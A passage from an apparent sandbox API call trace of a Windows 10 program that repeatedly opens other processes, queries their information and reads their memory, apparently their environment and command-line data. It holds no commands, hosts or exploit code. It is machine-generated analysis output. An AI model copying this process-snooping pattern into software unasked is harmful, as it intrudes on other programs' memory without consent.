ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.180] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.181] malloc (_Size=0x70) returned 0x196ef0d31b0 [0260.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.182] free (_Block=0x196ef0d31b0) [0260.183] CloseHandle (hObject=0x464) returned 1 [0260.183] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0260.189] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4008") returned 4 [0260.190] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.190] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x464 [0260.215] GetLastError () returned 0x0 [0260.215] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.217] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.219] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.219] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.220] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.220] malloc (_Size=0x72) returned 0x196ef0d31b0 [0260.220] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.221] free (_Block=0x196ef0d31b0) [0260.223] CloseHandle (hObject=0x464) returned 1 [0260.224] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0260.231] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4016") returned 4 [0260.233] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.233] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x464 [0260.268] GetLastError () returned 0x0 [0260.268] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.268] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.270] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.272] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.272] malloc (_Size=0x70) returned 0x196ef0d31b0 [0260.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.273] free (_Block=0x196ef0d31b0) [0260.274] CloseHandle (hObject=0x464) returned 1 [0260.275] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0260.282] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4032") returned 4 [0260.283] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.284] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.304] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x464 [0260.304] GetLastError () returned 0x0 [0260.305] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.306] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5518f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.307] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.309] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.309] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.309] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.309] malloc (_Size=0x70) returned 0x196ef0d31b0 [0260.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.310] free (_Block=0x196ef0d31b0) [0260.312] CloseHandle (hObject=0x464) returned 1 [0260.313] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0260.318] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4040") returned 4 [0260.320] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.320] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x464 [0260.357] GetLastError () returned 0x0 [0260.357] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.357] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.358] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.358] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.358] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.359] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.361] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.362] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0260.362] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.363] free (_Block=0x196ef0d31b0) [0260.364] CloseHandle (hObject=0x464) returned 1 [0260.364] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0260.370] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4052") returned 4 [0260.372] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.372] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x464 [0260.538] GetLastError () returned 0x0 [0260.539] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.539] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.539] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.539] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.539] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.541] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.543] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.543] malloc (_Size=0x78) returned 0x196ef0d2120 [0260.544] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0260.544] free (_Block=0x196ef0d2120) [0260.546] CloseHandle (hObject=0x464) returned 1 [0260.546] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0260.553] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4060") returned 4 [0260.554] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.554] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.639] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x464 [0260.639] GetLastError () returned 0x0 [0260.639] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.639] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.641] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.643] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.643] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.643] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.644] malloc (_Size=0x7e) returned 0x196ef100c80 [0260.644] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59196e, lpBuffer=0x196ef100c80, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100c80*, lpNumberOfBytesRead=0x0) returned 1 [0260.645] free (_Block=0x196ef100c80) [0260.646] CloseHandle (hObject=0x464) returned 1 [0260.646] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0260.652] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4080") returned 4 [0260.654] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.654] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.681] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x464 [0260.681] GetLastError () returned 0x0 [0260.681] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.684] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.705] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.706] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0260.706] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.707] free (_Block=0x196ef0d31b0) [0260.708] CloseHandle (hObject=0x464) returned 1 [0260.709] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0260.714] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4088") returned 4 [0260.717] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.717] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x464 [0260.743] GetLastError () returned 0x0 [0260.744] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.745] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, 